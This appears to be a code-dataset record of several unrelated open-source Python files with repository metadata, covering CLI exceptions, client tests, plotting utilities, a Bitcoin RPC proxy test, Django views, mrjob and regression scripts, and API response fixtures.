2022-01-16T09:17:11.000Z
src/poetry/console/exceptions.py
hadialqattan/poetry
02444308831358c26595c0f36ea263a3e02cb5d4
[ "MIT" ]
1
2022-02-22T05:52:32.000Z
2022-02-22T05:52:32.000Z
src/poetry/console/exceptions.py
hadialqattan/poetry
02444308831358c26595c0f36ea263a3e02cb5d4
[ "MIT" ]
1
2022-03-19T12:13:53.000Z
2022-03-19T12:13:53.000Z
from __future__ import annotations from cleo.exceptions import CleoSimpleException class PoetrySimpleConsoleException(CleoSimpleException): pass
17
56
0.849673
from __future__ import annotations from cleo.exceptions import CleoSimpleException class PoetrySimpleConsoleException(CleoSimpleException): pass
true
true
f72904a7ccce5bbd9512c0085594cb8f444db9ba
17,865
py
Python
python/tests/test_client.py
ground-context/grit
3edd0a6c3ec2797fcd090690d6075db0c1965f5f
[ "Apache-2.0" ]
1
2018-03-01T03:29:17.000Z
2018-03-01T03:29:17.000Z
python/tests/test_client.py
ground-context/grit
3edd0a6c3ec2797fcd090690d6075db0c1965f5f
[ "Apache-2.0" ]
1
2018-03-22T16:57:55.000Z
2018-03-22T16:57:55.000Z
python/tests/test_client.py
ground-context/grit
3edd0a6c3ec2797fcd090690d6075db0c1965f5f
[ "Apache-2.0" ]
2
2018-11-20T19:53:16.000Z
2021-02-25T15:48:46.000Z
import unittest import uuid import ground.client as client class TestClient(unittest.TestCase): @classmethod def setUpClass(cls): cls.client = client.GroundClient() def test_node(self): """ Tests most of the node access methods """ source_key = uuid.uuid4().hex ...
38.502155
120
0.625917
import unittest import uuid import ground.client as client class TestClient(unittest.TestCase): @classmethod def setUpClass(cls): cls.client = client.GroundClient() def test_node(self): source_key = uuid.uuid4().hex node = self.client.create_node(source_key, source_key) ...
true
true
f7290541ba6a219c1b23507983095ee257129671
232
py
Python
dbl_archive_data_storage/frugal_storer/frugal_collection.py
ubsicap/dbl-archive-data-storage
03786ed54024a55ae96b93948a656a3c01269894
[ "MIT" ]
null
null
null
dbl_archive_data_storage/frugal_storer/frugal_collection.py
ubsicap/dbl-archive-data-storage
03786ed54024a55ae96b93948a656a3c01269894
[ "MIT" ]
12
2018-12-11T17:49:01.000Z
2019-02-21T18:26:22.000Z
dbl_archive_data_storage/frugal_storer/frugal_collection.py
ubsicap/dbl-archive-data-storage
03786ed54024a55ae96b93948a656a3c01269894
[ "MIT" ]
null
null
null
class FrugalCollection: id = None snapshots = None def __init__(self, collection_id): snapshots = {} self.id = collection_id def __str__(self): return "<Collection {0}>".format(self.id)
21.090909
49
0.599138
class FrugalCollection: id = None snapshots = None def __init__(self, collection_id): snapshots = {} self.id = collection_id def __str__(self): return "<Collection {0}>".format(self.id)
true
true
f7290550adfa216a398f7dd493901439630b261f
5,006
py
Python
functions/plot_utils.py
biomac-lab/covid19_forecast
6613064f8a6d8023ecbdaddbc2e7525b6ad0796f
[ "Apache-2.0" ]
null
null
null
functions/plot_utils.py
biomac-lab/covid19_forecast
6613064f8a6d8023ecbdaddbc2e7525b6ad0796f
[ "Apache-2.0" ]
null
null
null
functions/plot_utils.py
biomac-lab/covid19_forecast
6613064f8a6d8023ecbdaddbc2e7525b6ad0796f
[ "Apache-2.0" ]
null
null
null
from matplotlib.dates import date2num, num2date from matplotlib.colors import ListedColormap from matplotlib import dates as mdates from matplotlib.patches import Patch from matplotlib import pyplot as plt from matplotlib import ticker import os def plot_fit(df_fit, df_data, y_label='Deaths', y_lim_up = 200, color='b...
60.313253
220
0.702157
from matplotlib.dates import date2num, num2date from matplotlib.colors import ListedColormap from matplotlib import dates as mdates from matplotlib.patches import Patch from matplotlib import pyplot as plt from matplotlib import ticker import os def plot_fit(df_fit, df_data, y_label='Deaths', y_lim_up = 200, color='b...
true
true
f72906cf1c0c23a067d469ea51e3f75a7351ddf8
602
py
Python
arctia/tasks/take.py
unternehmen/arctia
5c0a9b1933199c09dc7312730ed32c3894bc33ac
[ "Unlicense" ]
1
2018-01-12T15:11:03.000Z
2018-01-12T15:11:03.000Z
arctia/tasks/take.py
unternehmen/arctia
5c0a9b1933199c09dc7312730ed32c3894bc33ac
[ "Unlicense" ]
4
2018-02-17T00:20:09.000Z
2018-06-01T19:49:08.000Z
arctia/tasks/take.py
unternehmen/arctia
5c0a9b1933199c09dc7312730ed32c3894bc33ac
[ "Unlicense" ]
null
null
null
class Take(object): def __init__(self, stage, unit, entity, not_found_proc, finished_proc): self._stage = stage self._unit = unit self._entity = entity self._finished_proc = finished_proc self._not_found_proc = not_found_proc def enact(self): if ...
30.1
68
0.604651
class Take(object): def __init__(self, stage, unit, entity, not_found_proc, finished_proc): self._stage = stage self._unit = unit self._entity = entity self._finished_proc = finished_proc self._not_found_proc = not_found_proc def enact(self): if ...
true
true
f7290817b1b55a787a87349b4e16e983876e4dc9
603
py
Python
chatbotmaker/tests/messenger_test.py
Dominique57/ChatBotMaker
4d3d27f2a4f4a221eddac63316ddd7b56ab4b5e5
[ "MIT" ]
null
null
null
chatbotmaker/tests/messenger_test.py
Dominique57/ChatBotMaker
4d3d27f2a4f4a221eddac63316ddd7b56ab4b5e5
[ "MIT" ]
null
null
null
chatbotmaker/tests/messenger_test.py
Dominique57/ChatBotMaker
4d3d27f2a4f4a221eddac63316ddd7b56ab4b5e5
[ "MIT" ]
null
null
null
from ..messenger import Messenger from . import pytest def test_send_message_should_fail(): messenger = Messenger() with pytest.raises(Exception) as exception_info: messenger.send("user", "message") assert "implemented" in str(exception_info) def test_mark_writing_on_should_do_nothing(): mes...
24.12
52
0.742952
from ..messenger import Messenger from . import pytest def test_send_message_should_fail(): messenger = Messenger() with pytest.raises(Exception) as exception_info: messenger.send("user", "message") assert "implemented" in str(exception_info) def test_mark_writing_on_should_do_nothing(): mes...
true
true
f729085e094974666a7d52a1effd0459218151e6
6,100
py
Python
qa/rpc-tests/proxy_test.py
listedlinked/newsvn
2a53c7054fc37dfdab3ecac8e159f9d98823b2b5
[ "MIT" ]
null
null
null
qa/rpc-tests/proxy_test.py
listedlinked/newsvn
2a53c7054fc37dfdab3ecac8e159f9d98823b2b5
[ "MIT" ]
null
null
null
qa/rpc-tests/proxy_test.py
listedlinked/newsvn
2a53c7054fc37dfdab3ecac8e159f9d98823b2b5
[ "MIT" ]
null
null
null
#!/usr/bin/env python2 # Copyright (c) 2015 The Bitcoin Core developers # Distributed under the MIT software license, see the accompanying # file COPYING or http://www.opensource.org/licenses/mit-license.php. import socket import traceback, sys from binascii import hexlify import time, os from socks5 import Socks5Conf...
41.780822
145
0.653115
import socket import traceback, sys from binascii import hexlify import time, os from socks5 import Socks5Configuration, Socks5Command, Socks5Server, AddressType from test_framework import BitcoinTestFramework from util import * class ProxyTest(BitcoinTestFramework): def __init__(self): ...
true
true
f729091a3f57c75215b2d30ff6f1aa0a14f519d6
4,080
py
Python
psono/restapi/views/membership.py
dirigeant/psono-server
a18c5b3c4d8bbbe4ecf1615b210d99fb77752205
[ "Apache-2.0", "CC0-1.0" ]
48
2018-04-19T15:50:58.000Z
2022-01-23T15:58:11.000Z
psono/restapi/views/membership.py
dirigeant/psono-server
a18c5b3c4d8bbbe4ecf1615b210d99fb77752205
[ "Apache-2.0", "CC0-1.0" ]
9
2018-09-13T14:56:18.000Z
2020-01-17T16:44:33.000Z
psono/restapi/views/membership.py
dirigeant/psono-server
a18c5b3c4d8bbbe4ecf1615b210d99fb77752205
[ "Apache-2.0", "CC0-1.0" ]
11
2019-09-20T11:53:47.000Z
2021-07-18T22:41:31.000Z
from rest_framework import status from rest_framework.response import Response from rest_framework.generics import GenericAPIView from ..permissions import IsAuthenticated from django.core.cache import cache from django.conf import settings from ..app_settings import ( CreateMembershipSerializer, UpdateMembers...
30.909091
105
0.647059
from rest_framework import status from rest_framework.response import Response from rest_framework.generics import GenericAPIView from ..permissions import IsAuthenticated from django.core.cache import cache from django.conf import settings from ..app_settings import ( CreateMembershipSerializer, UpdateMembers...
true
true
f7290948c42d8e7aa37006897fa91645c005e290
339
py
Python
ironsms/exceptions/limits.py
viuipan/ironsmslib
0d494ea08a6bcdd0f11f32e88baccd3555b5a0b3
[ "MIT" ]
null
null
null
ironsms/exceptions/limits.py
viuipan/ironsmslib
0d494ea08a6bcdd0f11f32e88baccd3555b5a0b3
[ "MIT" ]
null
null
null
ironsms/exceptions/limits.py
viuipan/ironsmslib
0d494ea08a6bcdd0f11f32e88baccd3555b5a0b3
[ "MIT" ]
null
null
null
from .base import APIException class LimitActiveException(APIException): message = "LIMIT_ACTIVE" description = "number activation has already been completed" limit: int def __init__(self, response): self.limit = response['limit'] super(LimitActiveException, self).__init__(description...
28.25
80
0.731563
from .base import APIException class LimitActiveException(APIException): message = "LIMIT_ACTIVE" description = "number activation has already been completed" limit: int def __init__(self, response): self.limit = response['limit'] super(LimitActiveException, self).__init__(description...
true
true
f72909bddee715522f021c82b50fd72ecc6d200a
1,803
py
Python
tests/outputs/test_standard_output.py
AustinScola/illud
a6aca1de38bbe9d5a795aaa084bcbd6731767d18
[ "MIT" ]
1
2020-12-05T00:59:15.000Z
2020-12-05T00:59:15.000Z
tests/outputs/test_standard_output.py
AustinScola/illud
a6aca1de38bbe9d5a795aaa084bcbd6731767d18
[ "MIT" ]
112
2021-01-15T21:42:27.000Z
2021-04-17T19:11:21.000Z
tests/outputs/test_standard_output.py
AustinScola/illud
a6aca1de38bbe9d5a795aaa084bcbd6731767d18
[ "MIT" ]
null
null
null
"""Test illud.outputs.standard_output.""" import sys from typing import Any from unittest.mock import MagicMock, patch import pytest from illud.output import Output from illud.outputs.standard_output import StandardOutput def test_inheritance() -> None: """Test illud.outputs.standard_output.StandardOutput inher...
28.619048
90
0.733222
import sys from typing import Any from unittest.mock import MagicMock, patch import pytest from illud.output import Output from illud.outputs.standard_output import StandardOutput def test_inheritance() -> None: assert issubclass(StandardOutput, Output) def test_init() -> None: standard_output: StandardOu...
true
true
f72909d51f6781094ad2796f88e7cadc34ab5a20
438
py
Python
Entrenamiento Algoritmico/listas.py
andersonvelasco/Programming-2020B
bd843a406353b55ca83b9684c394aec1556aaddc
[ "Apache-2.0" ]
null
null
null
Entrenamiento Algoritmico/listas.py
andersonvelasco/Programming-2020B
bd843a406353b55ca83b9684c394aec1556aaddc
[ "Apache-2.0" ]
null
null
null
Entrenamiento Algoritmico/listas.py
andersonvelasco/Programming-2020B
bd843a406353b55ca83b9684c394aec1556aaddc
[ "Apache-2.0" ]
null
null
null
#Packages import os os.system("cls") lista=[] #Functions def llenar_lista(x): lista.append(x) #def validacion_lista(): # print("Validación :") #def mostrar_lista(): # print("Mostrar") #Main num=int(input("Ingrese No: ")) op=int(input("::::Desea Agregar un nuevo Número a la Lista : \n1. Si\n2. No : ")) if ...
19.043478
81
0.63242
import os os.system("cls") lista=[] def llenar_lista(x): lista.append(x) num=int(input("Ingrese No: ")) op=int(input("::::Desea Agregar un nuevo Número a la Lista : \n1. Si\n2. No : ")) if op =="s" or op =="S" or op == "1": llenar_lista(num) else: print("opción incorrecta")
true
true
f7290b4c53116bdaf469ce7678a80eb24c95ee72
6,490
py
Python
simple_history/utils.py
felixschloesser/django-simple-history
28abacb8a776fbaffcf0a42432a6a88be3561a86
[ "BSD-3-Clause" ]
2
2021-03-26T09:20:05.000Z
2021-05-26T13:46:48.000Z
simple_history/utils.py
felixschloesser/django-simple-history
28abacb8a776fbaffcf0a42432a6a88be3561a86
[ "BSD-3-Clause" ]
55
2020-12-25T06:47:15.000Z
2022-03-28T20:06:13.000Z
simple_history/utils.py
hramezani/django-simple-history
32645206749a1cc68539d9ad6499f1a938b2c9f4
[ "BSD-3-Clause" ]
null
null
null
import warnings import django from django.db import transaction from django.db.models import ManyToManyField from django.forms.models import model_to_dict from simple_history.exceptions import AlternativeManagerError, NotHistoricalModelError def update_change_reason(instance, reason): attrs = {} model = typ...
36.666667
88
0.679045
import warnings import django from django.db import transaction from django.db.models import ManyToManyField from django.forms.models import model_to_dict from simple_history.exceptions import AlternativeManagerError, NotHistoricalModelError def update_change_reason(instance, reason): attrs = {} model = typ...
true
true
f7290c2a98dd473c3692b518839a458e52199318
24,669
py
Python
src/sage/plot/arrow.py
rekhabiswal/sage
e8633b09919542a65e7e990c8369fee30c7edefd
[ "BSL-1.0" ]
null
null
null
src/sage/plot/arrow.py
rekhabiswal/sage
e8633b09919542a65e7e990c8369fee30c7edefd
[ "BSL-1.0" ]
null
null
null
src/sage/plot/arrow.py
rekhabiswal/sage
e8633b09919542a65e7e990c8369fee30c7edefd
[ "BSL-1.0" ]
null
null
null
""" Arrows """ #***************************************************************************** # Copyright (C) 2006 Alex Clemesha <clemesha@gmail.com>, # William Stein <wstein@gmail.com>, # 2008 Mike Hansen <mhansen@gmail.com>, # 2009 Emily Kirkman #...
37.894009
175
0.557177
from sage.plot.primitive import GraphicPrimitive from sage.misc.decorators import options, rename_keyword from sage.plot.colors import to_mpl_color class CurveArrow(GraphicPrimitive): def __init__(self, path, options): import numpy as np self.path = path codes = [1] + (len...
true
true
f7290d71439131c7316cb803ec52d5d227b0a777
7,254
py
Python
src/integral_timber_joints/process/state.py
gramaziokohler/integral_timber_joints
70e75a66e13b5ada580fcffc58879f5fcb8fce32
[ "MIT" ]
3
2021-09-16T13:08:32.000Z
2022-02-21T17:20:21.000Z
src/integral_timber_joints/process/state.py
gramaziokohler/integral_timber_joints
70e75a66e13b5ada580fcffc58879f5fcb8fce32
[ "MIT" ]
80
2021-09-06T09:55:38.000Z
2022-03-22T18:44:24.000Z
src/integral_timber_joints/process/state.py
gramaziokohler/integral_timber_joints
70e75a66e13b5ada580fcffc58879f5fcb8fce32
[ "MIT" ]
null
null
null
try: from typing import Dict, List, Optional, Tuple from integral_timber_joints.process import RobotClampAssemblyProcess except: pass import itertools from compas.data import Data from compas.geometry import Frame from compas.geometry.transformations.transformation import Transformation from compas.robot...
35.73399
132
0.656465
try: from typing import Dict, List, Optional, Tuple from integral_timber_joints.process import RobotClampAssemblyProcess except: pass import itertools from compas.data import Data from compas.geometry import Frame from compas.geometry.transformations.transformation import Transformation from compas.robot...
true
true
f7290e7b579df05a7b491debaaa1d6c44c7e50e1
1,409
py
Python
mrjob/examples/mr_wc.py
cleemesser/mrjob
f24991ffae9e7a2dad9fd3403d5e96635ededa4a
[ "Apache-2.0" ]
null
null
null
mrjob/examples/mr_wc.py
cleemesser/mrjob
f24991ffae9e7a2dad9fd3403d5e96635ededa4a
[ "Apache-2.0" ]
null
null
null
mrjob/examples/mr_wc.py
cleemesser/mrjob
f24991ffae9e7a2dad9fd3403d5e96635ededa4a
[ "Apache-2.0" ]
null
null
null
# Copyright 2009-2010 Yelp # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, softwa...
29.978723
74
0.66785
from mrjob.job import MRJob class MRWordCountUtility(MRJob): def __init__(self, *args, **kwargs): super(MRWordCountUtility, self).__init__(*args, **kwargs) self.chars = 0 self.words = 0 self.lines = 0 def mapper(self, _, line): if False: yield ...
true
true
f7290f75e2fb79fe8a9681c9242e628e2d363fde
2,843
py
Python
doom/database.py
iiCodeThings/admin
851ebcb8b90d4bea4bd7468ed403ec13fca801ee
[ "MIT" ]
1
2022-02-16T08:20:12.000Z
2022-02-16T08:20:12.000Z
doom/database.py
iiCodeThings/doom
a04f239abfefc4c8b70ec7c7b00b42622ec13a86
[ "MIT" ]
null
null
null
doom/database.py
iiCodeThings/doom
a04f239abfefc4c8b70ec7c7b00b42622ec13a86
[ "MIT" ]
null
null
null
import datetime from .extensions import db Column = db.Column relationship = db.relationship class CRUDMixin(object): """Mixin that adds convenience methods for CRUD (create, read, update, delete) operations.""" @classmethod def create(cls, **kwargs): """Create a new record and save it the datab...
28.43
113
0.602884
import datetime from .extensions import db Column = db.Column relationship = db.relationship class CRUDMixin(object): @classmethod def create(cls, **kwargs): instance = cls(**kwargs) return instance.save() def update(self, commit=True, **kwargs): for attr, value in kwargs.items(...
true
true
f7290fa324d8e90eca6e3ad67c7ef41b58f33c7b
11,952
py
Python
Linear_Ridge_Regression .py
Nirmal1313/Regression-Methods
b1f885dc798ca4aae47661e0a27fe0e21e4ee4e0
[ "MIT" ]
null
null
null
Linear_Ridge_Regression .py
Nirmal1313/Regression-Methods
b1f885dc798ca4aae47661e0a27fe0e21e4ee4e0
[ "MIT" ]
null
null
null
Linear_Ridge_Regression .py
Nirmal1313/Regression-Methods
b1f885dc798ca4aae47661e0a27fe0e21e4ee4e0
[ "MIT" ]
null
null
null
# coding: utf-8 # In[1]: import pandas as pd # for working with data in Python import numpy as np import matplotlib.pyplot as plt # for visualization from sklearn.model_selection import train_test_split from sklearn.metrics import mean_squared_error from sklearn import linear_model # use Pandas...
29.222494
132
0.632865
import pandas as pd import numpy as np import matplotlib.pyplot as plt from sklearn.model_selection import train_test_split from sklearn.metrics import mean_squared_error from sklearn import linear_model train = pd.read_csv('train.csv') test = pd.read_csv('test.csv') print("1 \n") print...
true
true
f7290ff22916348c59aa6e233ad818395010ec56
18,267
py
Python
test/functional/rpc_blockchain.py
bitcoincore-dev/bitcoin
3f083a5bbdbb41cfa6be8f9d4b0e306515bfa100
[ "MIT" ]
9
2016-08-19T18:42:36.000Z
2022-03-29T08:13:38.000Z
test/functional/rpc_blockchain.py
taweesak0803650558/bitcoin
fd557ceb885ec55ac6865953e7325bcebc5a6972
[ "MIT" ]
3
2019-05-22T12:52:35.000Z
2021-08-01T16:13:24.000Z
test/functional/rpc_blockchain.py
taweesak0803650558/bitcoin
fd557ceb885ec55ac6865953e7325bcebc5a6972
[ "MIT" ]
7
2020-02-01T02:10:14.000Z
2022-03-29T08:13:26.000Z
#!/usr/bin/env python3 # Copyright (c) 2014-2020 The Bitcoin Core developers # Distributed under the MIT software license, see the accompanying # file COPYING or http://www.opensource.org/licenses/mit-license.php. """Test RPCs related to blockchainstate. Test the following RPCs: - getblockchaininfo - gettxouts...
41.610478
257
0.646685
from decimal import Decimal import http.client import os import subprocess from test_framework.address import ADDRESS_BCRT1_P2WSH_OP_TRUE from test_framework.blocktools import ( create_block, create_coinbase, TIME_GENESIS_BLOCK, ) from test_framework.messages import ( CBlockHeader, from_hex, ...
true
true
f7291090bfe14fc6df33c64d5eeb8c89fdfcc10b
338,371
py
Python
tests/example_responses.py
vishalbelsare/gradient-cli
c0e06252925cad3ad73d47ded1100f6b0cb0989a
[ "0BSD" ]
52
2019-06-10T04:20:00.000Z
2021-12-06T01:13:26.000Z
tests/example_responses.py
vishalbelsare/gradient-cli
c0e06252925cad3ad73d47ded1100f6b0cb0989a
[ "0BSD" ]
125
2019-06-05T16:34:19.000Z
2022-03-30T18:46:06.000Z
tests/example_responses.py
vishalbelsare/gradient-cli
c0e06252925cad3ad73d47ded1100f6b0cb0989a
[ "0BSD" ]
11
2019-07-16T06:48:55.000Z
2021-12-15T12:41:51.000Z
LIST_OF_EXPERIMENTS_RESPONSE_JSON = { "data": [ { "dtCreated": "2019-03-21T07:47:05.616096+00:00", "dtDeleted": None, "dtFinished": None, "dtModified": "2019-03-21T07:47:05.616096+00:00", "dtProvisioningFinished": None, "dtProvisioningS...
40.738141
570
0.435959
LIST_OF_EXPERIMENTS_RESPONSE_JSON = { "data": [ { "dtCreated": "2019-03-21T07:47:05.616096+00:00", "dtDeleted": None, "dtFinished": None, "dtModified": "2019-03-21T07:47:05.616096+00:00", "dtProvisioningFinished": None, "dtProvisioningS...
true
true
f729118340ff69c98db4837c348747f22c6dba5c
2,323
py
Python
sdk/python/pulumi_azure_nextgen/analysisservices/latest/list_server_gateway_status.py
test-wiz-sec/pulumi-azure-nextgen
20a695af0d020b34b0f1c336e1b69702755174cc
[ "Apache-2.0" ]
null
null
null
sdk/python/pulumi_azure_nextgen/analysisservices/latest/list_server_gateway_status.py
test-wiz-sec/pulumi-azure-nextgen
20a695af0d020b34b0f1c336e1b69702755174cc
[ "Apache-2.0" ]
null
null
null
sdk/python/pulumi_azure_nextgen/analysisservices/latest/list_server_gateway_status.py
test-wiz-sec/pulumi-azure-nextgen
20a695af0d020b34b0f1c336e1b69702755174cc
[ "Apache-2.0" ]
null
null
null
# coding=utf-8 # *** WARNING: this file was generated by the Pulumi SDK Generator. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union from ... import _utilities, _tables __a...
35.738462
194
0.695222
import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union from ... import _utilities, _tables __all__ = [ 'ListServerGatewayStatusResult', 'AwaitableListServerGatewayStatusResult', 'list_server_gateway_status', ] @pulumi.output_type class ListServer...
true
true
f729125438703c7fe62b6594e277054ba09d4f2e
90
py
Python
tests/test_git_speed.py
git-scientist/git-speed
a3c8c6b91568faf6bbd3a8cf5293f0cde1b1565b
[ "MIT" ]
2
2020-04-29T10:06:51.000Z
2020-08-13T09:31:09.000Z
tests/test_git_speed.py
git-scientist/git-speed
a3c8c6b91568faf6bbd3a8cf5293f0cde1b1565b
[ "MIT" ]
null
null
null
tests/test_git_speed.py
git-scientist/git-speed
a3c8c6b91568faf6bbd3a8cf5293f0cde1b1565b
[ "MIT" ]
1
2020-07-30T16:28:57.000Z
2020-07-30T16:28:57.000Z
from git_speed import __version__ def test_version(): assert __version__ == "1.1.1"
15
33
0.722222
from git_speed import __version__ def test_version(): assert __version__ == "1.1.1"
true
true